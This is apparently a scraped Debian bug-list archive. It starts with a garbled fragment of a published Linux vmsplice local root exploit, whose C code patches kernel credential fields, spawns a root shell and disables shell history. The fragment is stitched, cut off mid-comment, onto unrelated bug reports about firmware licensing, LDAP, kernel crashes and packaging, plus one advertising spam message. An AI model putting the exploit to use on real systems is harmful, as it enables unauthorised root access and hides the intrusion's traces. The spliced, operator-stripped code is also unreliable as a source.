return (void *) curr;
}
#else
#error unsupported arch
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
voidkernel_code()
{
int i;
uint*p = get_current();
for (i = 0; i 1024-13; i++) {
if (p[0] == uid p[1] == uid
p[2] == uid p[3] == uid
p[4] == gid p[5] == gid
p[6] == gid p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
voidexit_code()
{
if (getuid() != 0)
die(wtf, 0);
printf([+] root\n);
putenv(HISTFILE=/dev/null);
execl(/bin/bash, bash, -i, NULL);
die(/bin/bash, errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct ioveciov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf(---\n);
printf( Linux vmsplice Local Root Exploit\n);
printf( By qaaz\n);
printf(---\n);
if (!uid || !gid)
die([EMAIL PROTECTED], 0);
/*/
pages[0] = *(void **)
Bug#464954: ITP: ixp4xx-microcode -- non-free firmware for the ixp4xx ethernet
Package: wnpp Severity: wishlist Owner: Joey Hess [EMAIL PROTECTED] The nslu2 needs non-free firmware for its ethernet. This is currently distributed in the d-i installation images on slug-firmware.net. The firmware can be downloaded from http://downloadcenter.intel.com/Detail_Desc.aspx?agr=YProductID=2100DwnldID=12954strOSs=AllOSFullName=All%20Operating%20Systemslang=eng A change in the license means it's free enough for er, non-free. INTEL(R) SOFTWARE LICENSE AGREEMENT Copyright (c) 2007, Intel Corporation. All rights reserved. Redistribution. Redistribution and use in binary form, without modification, are permitted provided that the following conditions are met: o Redistributions must reproduce the above copyright notice and the following disclaimer in the documentation and/or other materials provided with the distribution. o Neither the name of Intel Corporation nor the names of its suppliers may be used to endorse or promote products derived from this software without specific prior written permission. o No reverse engineering, decompilation, or disassembly of this software is permitted. Limited patent license. Intel Corporation grants a world-wide, royalty-free, non-exclusive license under patents it now or hereafter owns or controls to make, have made, use, import, offer to sell and sell (.Utilize.) this software, but solely to the extent that any such patent is necessary to Utilize the software alone. The patent license shall not apply to any combinations which include this software. No hardware per se is licensed hereunder. DISCLAIMER. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The firmware is distributed by intel in the form of some C files containing a lot of binary dataa. (Which is why the license refers to in binary form.) This is compiled into /lib/firmware/NPE-B using IxNpeMicrocode.h and a Makefile, which can be downloaded from the openwrt svn repo at: https://svn.openwrt.org/openwrt/trunk/package/ixp4xx-microcode/ IxNpeMicrocode.h is licensed under the GPL. Which seems problimatic, since it is #included by IxNpeMicrocode.c, which has the above license. Is this license GPL compatible? The prohibition on reverse engineering does not seem GPL compatible. I've mailed Christian Hohnstaedt, author of IxNpeMicrocode.h, to see if I can get that cleared up. -- see shy jo signature.asc Description: Digital signature
Bug#464955: catch filename in Package submission field
Package: bugs.debian.org Severity: minor One can get away with Package: /usr/share/doc/libhtml-parser-perl/examples/hanchors and [EMAIL PROTECTED] thinks it is a legitimate package name. E.g., see bug #464950. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464950: oops forgot package name
reassign 464950 libhtml-parser-perl thanks Hmmm, indeed perhaps also point out libhtml-linkextractor-perl has more answers. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#375762: also /usr/lib/perl5/HTML/PullParser.pm
Also Parsing of undecoded UTF-8 will give garbage when decoding entities at /usr/lib/perl5/HTML/PullParser.pm line 72 -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464957: ITP: html-xml-utils -- manipulate HTML and XML files
Package: wnpp Severity: wishlist Owner: Daniel Leidert [EMAIL PROTECTED] -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 * Package name: html-xml-utils Version : 4.4 Upstream Author : Bert Bos [EMAIL PROTECTED] * URL : http://www.w3.org/Tools/HTML-XML-utils/ * License : W3C Software License (v20021231) Programming Lang: C Description : manipulate HTML and XML files A number of simple utilities for manipulating HTML and XML files. . cexport- create headerfile of exported declarations from a C file addid - add ID's to selected elements cite - replace bibliographic references by hyperlinks cite-mkbib - expand references and create bibliography count - count elements and attributes in HTML or XML files files extract- extract selected elements htmlclean - apply heuristics to correct an HTML file htmlprune - remove marked elements from an HTML file incl - expand included HTML or XML files index - create an alphabetically sorted index mkbib - create bibliography from a template multitoc - create a table of contents for a set of HTML files name2id- move some ID= or NAME= from A elements to their parents normalize - pretty-print an HTML file num- number section headings in an HTML file pipe - convert XML to a format easier to parse with Perl or AWK printlinks - number links add table of URLs at end of an HTML file toc- insert a table of contents in an HTML file uncdata- replace CDATA sections by character entities unent - replace HTML predefined character entities to UTF-8 unpipe - convert output of pipe back to XML format unxmlns- replace global names by XML Namespace prefixes wls- list links in an HTML file xmlns - replace XML Namespace prefixes by global names xmlrecode - convert between UTF-8 and #nnn; entities asc2xml- convert from UTF-8 to #nnn; entities xml2asc- convert from #nnn; entities to UTF-8 xref - generate cross-references xselect- extract elements that match a(CSS) selector - -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (850, 'unstable'), (700, 'testing'), (550, 'stable'), (110, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-k7 (SMP w/1 CPU core) Locale: LANG=de_DE, LC_CTYPE=de_DE (charmap=ISO-8859-1) Shell: /bin/sh linked to /bin/bash -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHrlyzm0bx+wiPa4wRAoo+AKC1WL9uZlXXMTLDNd9EoiJSRnZtdQCgxTxs XgVm+ms2G7NuxPZcKNc/Hgs= =HuPr -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464958: too large to fit in flash on the nslu2
Package: linux-image-2.6.24-1-ixp4xx Version: 2.6.24-3 Severity: serious Once again this image has gotten too large to fit in flash on the nslu2. -rw-r--r-- 1 root root 1265484 Nov 13 04:56 vmlinuz-2.6.22-3-ixp4xx -rw-r--r-- 1 root root 1337692 Feb 7 14:04 vmlinuz-2.6.24-1-ixp4xx The Kernel mtd block device on the nslu2 is 1310720 bytes. After padding with 32 bytes, the kernel image is 27004 bytes too large to fit on it. Suggest disabling something bloatful until it fits again.. -- see shy jo signature.asc Description: Digital signature
Bug#464938: d-i on i386 with 16 MiB RAM (using swap)
Tomas Tintera wrote: 1. We need ide/ide-core.ko, ide/ide-disk.ko and ide/ide-generic.ko modules on 2nd (root) floppy (in initrd) in order to get HDDs work. The space for it can be made by bzipping 2nd floppy's initrd instead of gzipping it. Also the following lines must be added to modules.dep in initrd on the 2nd floppy: This, and adding a swapon option make sense (in the limited situations where the system can be preconfigured with a swap partition). 2. We need to use a bzip2 decompressor on 1st (boot) floppy instead of zcat. We can use micro-bunzip (http://www.landley.net/code/micro-bunzip.c (version 3.0, which is smaller than 4.1)), with the patch in the attachment, statically linked with klibc. You lost me here. How does using bzip2 save memory? The floppy image is decompressed into a ramdisk. -- see shy jo signature.asc Description: Digital signature
Bug#453392: Chase referrals with credentials
Jan-Marek Glogowski [EMAIL PROTECTED] writes: Package: openldap2.3 Version: 2.3.30 Severity: wishlist Normally the OpenLDAP utils follow referrals anonymously, even if the user supplied credentials. The attached patch adds an option, so the user can supply a chase type (with credentials or anonymously). From my changelog: * Add -B (rebind type) option to change referral chasing rebinds: + anon = old behavior (anonymous rebind) + cred = use credentials for rebind Jan-Marek P.S. I also have ports of this patch for 2.2 and 2.4, if needed Sorry about the delay in responding. If you have not already done so, could you file this patch as an upstream ITS? We don't really have the resources to maintain functionality patches to the upstream source and upstream is generally quite responsive about incorporating or critiquing patches. They do, however, really want patch submissions directly from the author of the patch rather than forwarded by the Debian maintainers. You can submit your patch at: http://www.openldap.org/its/ with the New Issue Report button. If you have already submitted this patch upstream, could you let us know the ITS number so that we can update the Debian bug metadata accordingly? Thanks! -- Russ Allbery ([EMAIL PROTECTED]) http://www.eyrie.org/~eagle/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#463992: lire: spamassassin2dlf does not work with spamassassin's 3.2.3 logs
On 2008-02-09 02:17 user Joost van Baal wrote: It seems it's not spamassassin, but your syslog which makes Lire choke. Please try to run: while read wday month day time year pid level rest; do echo $month $day $time localhost spamassassin$pid $rest; done /var/log/spamd/spamd.log | lr_log2report spamassassin spam . This would mangle your syslog stuff to a more common format, likely understandable by Lire. Please report if this helps. Hello. Seems to help, as there are no errors now, but there is also nothing counted in the report just like the log did not contain valid records. Parsing log file using spamassassin DLF Converter... Extracted 0 DLF records on 811 lines. Encountered 0 errors and ignored 0 lines. Running analysers... Generating XML report... Formatting report as txt in -... This is the report: Report generated: 2008-02-09 09:51:19 CET Reporting on period: Unknown Period Statistics -- Messages Scanned by 1d Period No content in report. Total Number of Messages Tagged As SPAM by 1d Period No content in report. Maximum SPAM Score by 1d Period No content in report. Delay by 1d Period No content in report. Mailboxes - Top 10 People Receiving SPAM No content in report. Thank you for your work. -- http://miki.menek.one.pl [EMAIL PROTECTED] Gadu-gadu: 2128279 Mobile: +48607345846 IRC: `miki` -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464959: gmp-ecm: Please build library package
Package: gmp-ecm Version: 6.1.2-1 Severity: wishlist I'm packaging SAGE for Debian (currently, in a separate apt repository as a staging area before submitting it and its N dependencies for inclusion in Debian) and it depends on gmp-ecm; it would thus be useful if the gmp-ecm package included the library version of the package. Thanks, -Tim Abbott -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464956: scribus: Build depends on ancient libqt3-compat-headers
Package: scribus Version: 1.3.3.11.dfsg-1 Severity: normal User: [EMAIL PROTECTED] Usertag: libqt3-compat-headers Hi, We are currently attempting to remove the antiquated libqt3-compat-headers from the archive. scribus appears to build fine without them. Please remove the libqt3-compat-headers build-depends on your next upload. Thank you, Barry deFreese -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464954: IxNpeMicrocode.h and Debian
Hi, I'm considering including your IxNpeMicrocode.h file in Debian, and using it to build microcode files for the NSLU2, as you can see here: http://bugs.debian.org/464954 While I was reviewing the licenses, I found a problem. Your IxNpeMicrocode.h is GPL licensed. But it is #included from IxNpeMicrocode.c, which of course is not GPLed code. My analysis of Intel's license is that it's not compatible with the GPL -- the GPL does not give me the right to link Intel's non-free code together with your GPLed code. Clearly you intend for IxNpeMicrocode.h to be linked into IxNpeMicrocode.c, though. Can I suggest that you amend the license of the file to make it clear that we're allowed to do so? One way to do it would be to change the license to a BSD license, as code under a BSD license can be linked to any other code, with no problems. Or, the license could be left GPL, but with an exception added, such as: As a special exception, this program may be linked with Intel's XP400 NPE Microcode Image file (IxNpeMicrocode.c), despite that file's more restrictive license. I hope this makes sense and that this issue doesn't prevent me from including the ixp microcode in Debian non-free. -- see shy jo signature.asc Description: Digital signature
Bug#464954: note
If the license compatiability issue can't be resolved, it would be ok to just ship the NPE-B file in non-free, rather than building it from source. The GPLed code does not actually end up in the compiled file, it's just used to dump the microcode out of memory and into the file. (Which makes me wonder if there's truely a GPL incompatability in this case -- there's a certian analogy here to using a GPLed text editor, which doesn't care what license of text it edits, despite sharing memory with it. Is there any real linking going on? How is IxNpeMicrocode.h different from a GPLed perl program that reads the .c and dumps out the microcode?) Another option of course would be to rewrite IxNpeMicrocode.h, but I'd rather not spend that much time on this. And of course I have no reason to mention these possibilies aside from competeness, as hopefully the author will respond quickly and this will be resolved. -- see shy jo signature.asc Description: Digital signature
Bug#277377: Robots usage hardwired
Apparently it is hardwired into the program! -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#320073: libldap2-dev: Many functions undocumented
reopen 320073 thanks On Sat, Feb 09, 2008 at 06:34:48PM -0800, Russ Allbery wrote: This should be much better as of 2.4.7-5, and in particular both of the examples you listed (ldap_initialize and ldap_get_option) now have man pages. If you notice other omissions, please feel free to open a bug citing specific missing man pages. While ldap_initialize is /documented/ in a manpage, the manpage is only installed as ldap_init(3), not ldap_initialize(3) - so not very findable. I think there's a fix still required here. Ditto ldap_get_option; I can't even see any manpages in libldap2-dev that look like obvious candidates for this. Where did you find this documented? Thanks, -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#462701: 462701: grub: savedefault menu.lst option results in unbootable system
I have experienced this problem with grub failing to load after an unclean shutdown. It happened on a cluster running debian etch. Whenever there is a power outage, *some* nodes fail to boot. Connecting to their console shows that they hang when loading grub. I had got around the issue by just bypassing grub altogether and pxe-booting the nodes from the server. Before that, either a grub-install, or a journal recovery seemed to fix the system till the next unclean mount. -- Raj Kiran Grandhi -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464960: Fails to show escaped periods found at the beginning of a line
Package: man-db Version: 2.5.1-2 Severity: normal -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 The code to reproduce it is rather simple. I found this one in manpage: !--begin-index-- \.\.\. !--end-index-- However, the output from man misses the three periods. I attach a sample file to this report. Regards, Daniel - -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (850, 'unstable'), (700, 'testing'), (550, 'stable'), (110, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-k7 (SMP w/1 CPU core) Locale: LANG=de_DE, LC_CTYPE=de_DE (charmap=ISO-8859-1) Shell: /bin/sh linked to /bin/bash Versions of packages man-db depends on: ii bsdmainutils 6.1.10collection of more utilities from ii debconf [debconf-2.0] 1.5.19Debian configuration management sy ii dpkg 1.14.16.6 package maintenance system for Deb ii groff-base 1.18.1.1-16 GNU troff text-formatting system ( ii libc6 2.7-6 GNU C Library: Shared libraries ii libgdbm3 1.8.3-3 GNU dbm database routines (runtime ii zlib1g 1:1.2.3.3.dfsg-11 compression library - runtime man-db recommends no packages. - -- debconf information excluded -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.6 (GNU/Linux) iD8DBQFHrmVwm0bx+wiPa4wRAn3WAJ0YrzLgga1C9PCe+pV4yd6ezv5awwCcCMNZ SKTNFr96aShlYoIAhZbb0A4= =OXc1 -END PGP SIGNATURE- .TH TEST 1 2008 Debian GNU/Linux Sample file .SH NAME foo \- bar .SH DESCRIPTION The following is a sample code that misses to show 3 periods between the comments: .sp .nf !--begin-index-- \.\.\. !--end-index-- .fi
Bug#464961: scribus-ng: Build depends on ancient libqt3-compat-headers
Package: scribus-ng Version: 1.3.4.dfsg+svn20071115-1 Severity: normal User: [EMAIL PROTECTED] Usertag: libqt3-compat-headers Hi, We are currently attempting to remove the antiquated libqt3-compat-headers from the archive. scribus-ng appears to build fine without them. Please remove the libqt3-compat-headers build-depends on your next upload. Thank you, Barry deFreese -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464019: Please binNMU rsstail in all archs
On Mon, Feb 04, 2008 at 09:41:52PM -0600, Rene Mayorga wrote: New upstream version of libmrss broked some rdepends including rsstail please rebuild it in all arches to solve this issue. (more info at: # 464019) On Tue, Feb 05, 2008 at 08:08:15AM +0100, Nico Golde wrote: * Rene Mayorga [EMAIL PROTECTED] [2008-02-05 07:37]: New upstream version of libmrss broked some rdepends including rsstail please rebuild it in all arches to solve this issue. Please also rebuild newsbeuter. These have not been scheduled, for the simple reason that bug #464019 is still open on libmrss0 - implying that someone is still expecting some action to be taken to correct this incompatibility in that package. Bug #464019 should be resolved - either by changing the package name of libmrss0, or by closing the bug as a wontfix - before these packages should be binNMUed; otherwise I have no way of knowing that there won't be another binNMU request a week from now when libmrss0 *does* get renamed. -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: immediate crash on boot on TM5800
Package: linux-image-2.6.24-1-686 Version: 2.6.24-3 Severity: important As soon as the kernel is booted from grub, before it prints any normal messages, it crashes as follows: BUG: Int 6: CR2 EDI ESI 1000 EBP 0020 ESP c0373f54 EBX c03e5140 EDX 000C ECX EAX c034f3e0 err EIP c0389390 CS 0060 flg 00010082 Stack: 0010 1dfc c039a9ec c03b934c c0373fe8 c03800c8 c039a9ec c037d0b8 0083 c0304c2f 0071 c039a9ec c03b934c c0373fe8 0071 c039a9ec c03b934c c0373fd8 c037d4ef c0304a76 00ef ÉÉ (The ÉÉ has a grey background and is flashing; it appears in the lower-left corner of the screen.) 2.6.22-3-686 works fine. This system is a fujitsu p700 lifebook, with a Crusoe processor. [EMAIL PROTECTED]:~cat /proc/cpuinfo processor : 0 vendor_id : GenuineTMx86 cpu family : 6 model : 4 model name : Transmeta(tm) Crusoe(tm) Processor TM5800 stepping: 3 cpu MHz : 859.310 cache size : 512 KB fdiv_bug: no hlt_bug : no f00f_bug: no coma_bug: no fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr cx8 sep cmov mmx longrun lrti constant_tsc up bogomips: 1750.29 clflush size: 32 -- Package-specific info: -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages linux-image-2.6.24-1-686 depends on: ii debconf [debconf-2.0]1.5.19 Debian configuration management sy ii initramfs-tools [linux-initr 0.91d tools for generating an initramfs ii module-init-tools3.3-pre11-4 tools for managing Linux kernel mo Versions of packages linux-image-2.6.24-1-686 recommends: ii libc6-i6862.7-6 GNU C Library: Shared libraries [i -- debconf information excluded -- see shy jo
Bug#320073: [Pkg-openldap-devel] Bug#320073: libldap2-dev: Many functions undocumented
Russ Allbery [EMAIL PROTECTED] writes: ldap_initialize is a link to ldap_init, so man should cope, no? Er, sorry, a link to ldap_open. -- Russ Allbery ([EMAIL PROTECTED]) http://www.eyrie.org/~eagle/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#450711: Bugtracker error
On Fri, Feb 08, 2008 at 11:41:07AM +0100, Jos [EMAIL PROTECTED] wrote: I send the requested files 3 times, but got no confirmation from the bugtracker. Maybe a spamfilter is blocking the mail? Are you sending it just to the BTS, or to both me and the BTS? -- Mike Markley [EMAIL PROTECTED] I THINK THEY SHOULD CONTINUE the policy of not giving a Nobel Prize for paneling. - Jack Handey, The New Mexican, 1988. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464963: thinkfinger-tools: tf-tool is built without PAM support
Package: thinkfinger-tools Version: 0.3+rev118.2-2 Severity: wishlist tf-tool is built without PAM support, so it cannot be used to allow login security using PAM. Since this is a central reason for using the fingerprint reader, it ought to be available. Thanks for all you do. -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.22 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages thinkfinger-tools depends on: ii libc6 2.7-6 GNU C Library: Shared libraries ii libpam0g 0.99.7.1-5 Pluggable Authentication Modules l pn libthinkfinger0 none (no description available) thinkfinger-tools recommends no packages. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#320073: libldap2-dev: Many functions undocumented
Steve Langasek [EMAIL PROTECTED] writes: On Sat, Feb 09, 2008 at 06:34:48PM -0800, Russ Allbery wrote: This should be much better as of 2.4.7-5, and in particular both of the examples you listed (ldap_initialize and ldap_get_option) now have man pages. If you notice other omissions, please feel free to open a bug citing specific missing man pages. While ldap_initialize is /documented/ in a manpage, the manpage is only installed as ldap_init(3), not ldap_initialize(3) - so not very findable. I think there's a fix still required here. ldap_initialize is a link to ldap_init, so man should cope, no? I admit that I assumed without checking that the latest release fixed all the man page symlinks, since 2.4.7-5 didn't make the last archive pulse. Ditto ldap_get_option; I can't even see any manpages in libldap2-dev that look like obvious candidates for this. Where did you find this documented? Well, doc/man/man3/ldap_get_option.3. Are we not installing it? -- Russ Allbery ([EMAIL PROTECTED]) http://www.eyrie.org/~eagle/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#340601: ldapsearch hangs when using ldap for /etc/hosts
tags 340601 confirmed thanks I can confirm that this is still an issue even after transitioning to libnss-ldap built against libldap-2.4-2. This is easily reproducible by configuring libnss-ldap to point at ldap://127.0.0.1 (with or without slapd installed), setting 'hosts: files ldap dns' (or variant) in /etc/nsswitch.conf, and running 'ldapsearch -H ldap://unknown-host/'. Here is a gdb backtrace of a hung ldapsearch: (gdb) bt #0 0x2b4065305174 in __lll_lock_wait () from /lib/libpthread.so.0 #1 0x2b4065300b08 in _L_lock_104 () from /lib/libpthread.so.0 #2 0x2b4065300470 in pthread_mutex_lock () from /lib/libpthread.so.0 #3 0x2b40638e3ca7 in ldap_connect_to_host () from /usr/lib/libldap-2.4.so.2 #4 0x2b40638cf46a in ldap_int_open_connection () from /usr/lib/libldap-2.4.so.2 #5 0x2b40638e16d0 in ldap_new_connection () from /usr/lib/libldap-2.4.so.2 #6 0x2b40638cf38d in ldap_open_defconn () from /usr/lib/libldap-2.4.so.2 #7 0x2b40638e219f in ldap_send_initial_request () from /usr/lib/libldap-2.4.so.2 #8 0x2b40638d83e7 in ldap_sasl_bind () from /usr/lib/libldap-2.4.so.2 #9 0x2b40638d88e9 in ldap_simple_bind () from /usr/lib/libldap-2.4.so.2 #10 0x2b406572561b in ?? () from /lib/libnss_ldap.so.2 #11 0x2b40657272d0 in ?? () from /lib/libnss_ldap.so.2 #12 0x2b406572796e in ?? () from /lib/libnss_ldap.so.2 #13 0x2b406572841b in ?? () from /lib/libnss_ldap.so.2 #14 0x2b406572ac53 in _nss_ldap_gethostbyname2_r () from /lib/libnss_ldap.so.2 #15 0x2b4065059c3e in ?? () from /lib/libc.so.6 #16 0x2b406505af19 in getaddrinfo () from /lib/libc.so.6 #17 0x2b40638e3cbf in ldap_connect_to_host () from /usr/lib/libldap-2.4.so.2 #18 0x2b40638cf46a in ldap_int_open_connection () from /usr/lib/libldap-2.4.so.2 #19 0x2b40638e16d0 in ldap_new_connection () from /usr/lib/libldap-2.4.so.2 #20 0x2b40638cf38d in ldap_open_defconn () from /usr/lib/libldap-2.4.so.2 #21 0x2b40638e219f in ldap_send_initial_request () from /usr/lib/libldap-2.4.so.2 #22 0x2b40638d49cf in ldap_extended_operation () from /usr/lib/libldap-2.4.so.2 #23 0x2b40638d4b69 in ldap_extended_operation_s () from /usr/lib/libldap-2.4.so.2 #24 0x2b40638f1565 in ldap_start_tls_s () from /usr/lib/libldap-2.4.so.2 #25 0x00407ddd in ?? () #26 0x0040559a in ?? () #27 0x2b4064fb81c4 in __libc_start_main () from /lib/libc.so.6 #28 0x004030f9 in ?? () #29 0x7fff47408b18 in ?? () #30 0x in ?? () So the issue is that ldap_start_tls_s() calls getaddrinfo(), which of course recurses into libldap as needed and tries to start a connection, and boom. From libraries/libldap/os-ip.c:ldap_connect_to_host(): #ifdef LDAP_R_COMPILE /* most getaddrinfo(3) use non-threadsafe resolver libraries */ ldap_pvt_thread_mutex_lock(ldap_int_resolv_mutex); #endif That looks to me like a good reason for a glibc-specific patch to the code... :) -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED] -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464964: ntfs-3g: unknown filesystem type when mount
Package: ntfs-3g Version: 1:1.2129-1 Severity: important mount -t ntfs-3g /dev/hda3 /mnt/c report unknown filesystem type ls /sbin/mount.* no mount.ntfs-3g found -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Kernel: Linux 2.6.24 Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages ntfs-3g depends on: ii libc6 2.7-6 GNU C Library: Shared libraries ii libntfs-3g21 1:1.2129-1 ntfs-3g filesystem in userspace (F ntfs-3g recommends no packages. -- debconf information: * ntfs-3g/warning: -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464957: ITP: html-xml-utils -- manipulate HTML and XML files
Daniel Leidert wrote: A number of simple utilities for manipulating HTML and XML files. Are all these intended to be command line utilities? If so, some of them seem to have names that are extremely generic and could therefore easily lead to confusion. The following I find most problematic in that regard: cite - replace bibliographic references by hyperlinks count - count elements and attributes in HTML or XML files files extract- extract selected elements incl - expand included HTML or XML files index - create an alphabetically sorted index normalize - pretty-print an HTML file num- number section headings in an HTML file pipe - convert XML to a format easier to parse with Perl or AWK toc- insert a table of contents in an HTML file unpipe - convert output of pipe back to XML format wls- list links in an HTML file xref - generate cross-references xselect- extract elements that match a(CSS) selector I would suggest renaming them by adding a suitable prefix. Cheers, FJP -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#407360: question for webmaster
http://bugs.debian.org/407360 webmaster, I represent a company that specializes in a new form of Internet advertising that guarantees that you will get a 100% conversion rate on 100% of your website traffic. I would like to fill you in on more details. Are you the correct contact in regard to business development for your website? If you are interested, please let me know. In case you missed this, what I mean is you get paid on EVERY visitor that visits your page. Best Regards, Russell Moran -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464962: -486 kernel ok
The 486 build of the same kernel boots ok. Is something going on with the 686 build that might make it not work with crusoe processors? -- see shy jo signature.asc Description: Digital signature
Bug#464965: debian-installer: System fails to boot after installation (Newworld powerbook)
Package: debian-installer Severity: normal Package: debian-installer Severity: normal The system fails to boot after installation. The generated initramfs image is corrupted (CRC error). The initrd size is too small for initramfs image. -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: powerpc (ppc) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-5-powerpc Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) -- System Information: Debian Release: 4.0 APT prefers stable APT policy: (500, 'stable') Architecture: powerpc (ppc) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-5-powerpc Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464384: elinks_0.12~20080127-1(experimental/amd64/xenophanes): -Werror, warning: cast from pointer to integer of different size
